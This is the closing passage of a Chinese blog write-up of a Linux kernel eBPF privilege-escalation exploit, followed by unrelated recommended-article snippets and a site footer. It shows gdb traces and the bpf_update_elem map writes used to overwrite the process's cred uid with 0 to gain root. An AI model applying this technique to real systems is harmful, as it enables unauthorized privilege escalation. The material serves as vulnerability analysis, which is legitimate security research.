0xffff880074344218: 0x00000000 0x00000000
(gdb)

 

上图中rax的值0xffff880074cb5e00即为从task_struct中读取到的指向cred的指针。

cred的地址得到了&#xff0c;再加上uid在cred中的偏移&#xff08;固定为4&#xff09;便得到了uid的地址0xffff880074cb5e04&#xff0c;然后构造写数据的map指令&#xff1a;

bpf_update_elem(0, 2);

bpf_update_elem(1, 0xffff880074cb5e04);

bpf_update_elem(2, 0);

过程如下&#xff08;由于第一次运行exp的时候&#xff0c;这里没断下来&#xff0c;所以下面的过程是第二次运行的过程&#xff0c;中间一些结构体的地址发生了稍微的变化&#xff09;&#xff1a;

(gdb) p ((struct task_struct*)0xffff880079afe900)->cred->uid
$
38 &#61; {val &#61; 1000} //此时uid还是1000
(gdb) ni
0xffffffff811778ac 856 LDST(DW, u64)
(gdb) p ((
struct task_struct*)0xffff880079afe900)->cred->uid
$
39 &#61; {val &#61; 1000}
(gdb) ni
0xffffffff811778b4 856 LDST(DW, u64)
(gdb) p ((
struct task_struct*)0xffff880079afe900)->cred->uid
$
40 &#61; {val &#61; 1000}
(gdb) ni
Thread
1 hit Breakpoint 13, 0xffffffff811778b8 in __bpf_prog_run (ctx&#61;0xffff8800746c9d80, insn&#61;0xffffc900005b5168) at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/core.c:856
856 LDST(DW, u64)
(gdb) p ((
struct task_struct*)0xffff880079afe900)->cred->uid
$
41 &#61; {val &#61; 0} //此时uid已经变为0
(gdb) x/10i $rip-120xffffffff811778ac <__bpf_prog_run&#43;3612>: mov rax,QWORD PTR [rbp&#43;rax*8-0x270]0xffffffff811778b4 <__bpf_prog_run&#43;3620>: mov QWORD PTR [rcx&#43;rdx*1],rax //就是这里改变了uid的值
&#61;> 0xffffffff811778b8 <__bpf_prog_run&#43;3624>: jmp 0xffffffff81176ae0 <__bpf_prog_run&#43;80>0xffffffff811778bd <__bpf_prog_run&#43;3629>: movzx eax,BYTE PTR [rbx&#43;0x1]0xffffffff811778c1 <__bpf_prog_run&#43;3633>: movsx rdx,WORD PTR [rbx&#43;0x2]0xffffffff811778c6 <__bpf_prog_run&#43;3638>: add rbx,0x80xffffffff811778ca <__bpf_prog_run&#43;3642>: movsxd rcx,DWORD PTR [rbx-0x4]0xffffffff811778ce <__bpf_prog_run&#43;3646>: and eax,0xf0xffffffff811778d1 <__bpf_prog_run&#43;3649>: mov rax,QWORD PTR [rbp&#43;rax*8-0x270]0xffffffff811778d9 <__bpf_prog_run&#43;3657>: mov QWORD PTR [rax&#43;rdx*1],rcx
(gdb) x
/1l ($rcx&#43;$rdx*1) //$rcx&#43;$rdx*1的值0xffff880075b7ca84即为uid的地址
0xffff880075b7ca84: Undefined output format "l".
(gdb) p
&((struct task_struct*)0xffff880079afe900)->cred->uid
$
43 &#61; (kuid_t *) 0xffff880075b7ca84
(gdb) i r $rax
//此时rax为我们需要些到uid地址的值0
rax 0x0 0
(gdb)

提权成功&#xff1a;

到此整个漏洞利用完成&#xff0c;后面的部分写的有点仓促了&#xff0c;如果有错误的地方&#xff0c;还请各位朋友不吝赐教。

转:https://www.cnblogs.com/rebeyond/p/8921307.html



推荐阅读
  • 在 CentOS 7 系统中安装 Scrapy 时遇到了一些挑战。尽管 Scrapy 在 Ubuntu 上安装简便,但在 CentOS 7 上需要额外的配置和步骤。本文总结了常见问题及其解决方案,帮助用户顺利安装并使用 Scrapy 进行网络爬虫开发。 ... [详细]
  • 为了确保iOS应用能够安全地访问网站数据,本文介绍了如何在Nginx服务器上轻松配置CertBot以实现SSL证书的自动化管理。通过这一过程,可以确保应用始终使用HTTPS协议,从而提升数据传输的安全性和可靠性。文章详细阐述了配置步骤和常见问题的解决方法,帮助读者快速上手并成功部署SSL证书。 ... [详细]
  • 本文详细解析了 Android 系统启动过程中的核心文件 `init.c`,探讨了其在系统初始化阶段的关键作用。通过对 `init.c` 的源代码进行深入分析,揭示了其如何管理进程、解析配置文件以及执行系统启动脚本。此外,文章还介绍了 `init` 进程的生命周期及其与内核的交互方式,为开发者提供了深入了解 Android 启动机制的宝贵资料。 ... [详细]
  • 帝国CMS中的信息归档功能详解及其重要性
    本文详细解析了帝国CMS中的信息归档功能,并探讨了其在内容管理中的重要性。通过归档功能,用户可以有效地管理和组织大量内容,提高网站的运行效率和用户体验。此外,文章还介绍了如何利用该功能进行数据备份和恢复,确保网站数据的安全性和完整性。 ... [详细]
  • FreeBSD环境下PHP GD库安装问题的详细解决方案
    在 FreeBSD 环境下,安装 PHP GD 库时可能会遇到一些常见的问题。本文详细介绍了从配置到编译的完整步骤,包括解决依赖关系、配置选项以及常见错误的处理方法。通过这些详细的指导,开发者可以顺利地在 FreeBSD 上完成 PHP GD 库的安装,确保其正常运行。此外,本文还提供了一些优化建议,帮助提高安装过程的效率和稳定性。 ... [详细]
  • V8不仅是一款著名的八缸发动机,广泛应用于道奇Charger、宾利Continental GT和BossHoss摩托车中。自2008年以来,作为Chromium项目的一部分,V8 JavaScript引擎在性能优化和技术创新方面取得了显著进展。该引擎通过先进的编译技术和高效的垃圾回收机制,显著提升了JavaScript的执行效率,为现代Web应用提供了强大的支持。持续的优化和创新使得V8在处理复杂计算和大规模数据时表现更加出色,成为众多开发者和企业的首选。 ... [详细]
  • 如何优化MySQL数据库性能以提升查询效率和系统稳定性 ... [详细]
  • 在Linux系统中,网络配置是至关重要的任务之一。本文详细解析了Firewalld和Netfilter机制,并探讨了iptables的应用。通过使用`ip addr show`命令来查看网卡IP地址(需要安装`iproute`包),当网卡未分配IP地址或处于关闭状态时,可以通过`ip link set`命令进行配置和激活。此外,文章还介绍了如何利用Firewalld和iptables实现网络流量控制和安全策略管理,为系统管理员提供了实用的操作指南。 ... [详细]
  • 在Ubuntu系统中安装Android SDK的详细步骤及解决“Failed to fetch URL https://dlssl.google.com/”错误的方法
    在Ubuntu 11.10 x64系统中安装Android SDK的详细步骤,包括配置环境变量和解决“Failed to fetch URL https://dlssl.google.com/”错误的方法。本文详细介绍了如何在该系统上顺利安装并配置Android SDK,确保开发环境的稳定性和高效性。此外,还提供了解决网络连接问题的实用技巧,帮助用户克服常见的安装障碍。 ... [详细]
  • 触发器的稳态数量分析及其应用价值
    本文对数据库中的SQL触发器进行了稳态数量的详细分析,探讨了其在实际应用中的重要价值。通过研究触发器在不同场景下的表现,揭示了其在数据完整性和业务逻辑自动化方面的关键作用。此外,还介绍了如何在Ubuntu 22.04环境下配置和使用触发器,以及在Tomcat和SQLite等平台上的具体实现方法。 ... [详细]
  • 数字图书馆近期展出了一批精选的Linux经典著作,这些书籍虽然部分较为陈旧,但依然具有重要的参考价值。如需转载相关内容,请务必注明来源:小文论坛(http://www.xiaowenbbs.com)。 ... [详细]
  • C++ 开发实战:实用技巧与经验分享
    C++ 开发实战:实用技巧与经验分享 ... [详细]
  • 微信小程序实现类似微博的无限回复功能,内置云开发数据库支持
    本文详细介绍了如何利用微信小程序实现类似于微博的无限回复功能,并充分利用了微信云开发的数据库支持。文中不仅提供了关键代码片段,还包含了完整的页面代码,方便开发者按需使用。此外,HTML页面中包含了一些示例图片,开发者可以根据个人喜好进行替换。文章还将展示详细的数据库结构设计,帮助读者更好地理解和实现这一功能。 ... [详细]
  • 在《Python编程基础》课程中,我们将深入探讨Python中的循环结构。通过详细解析for循环和while循环的语法与应用场景,帮助初学者掌握循环控制语句的核心概念和实际应用技巧。此外,还将介绍如何利用循环结构解决复杂问题,提高编程效率和代码可读性。 ... [详细]
  • 【Linux进阶指南】第一阶段第三课:体验与部署Ubuntu系统
    在正式踏上Linux学习之旅之前,本课程将引导你深入体验和部署Ubuntu系统。通过详细的操作步骤和实践演练,你将掌握Ubuntu的基本安装、配置及常用命令,为后续的进阶学习打下坚实的基础。此外,课程还将介绍如何解决常见问题和优化系统性能,帮助你更加高效地使用Ubuntu。 ... [详细]
author-avatar
蒓子2502883107
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有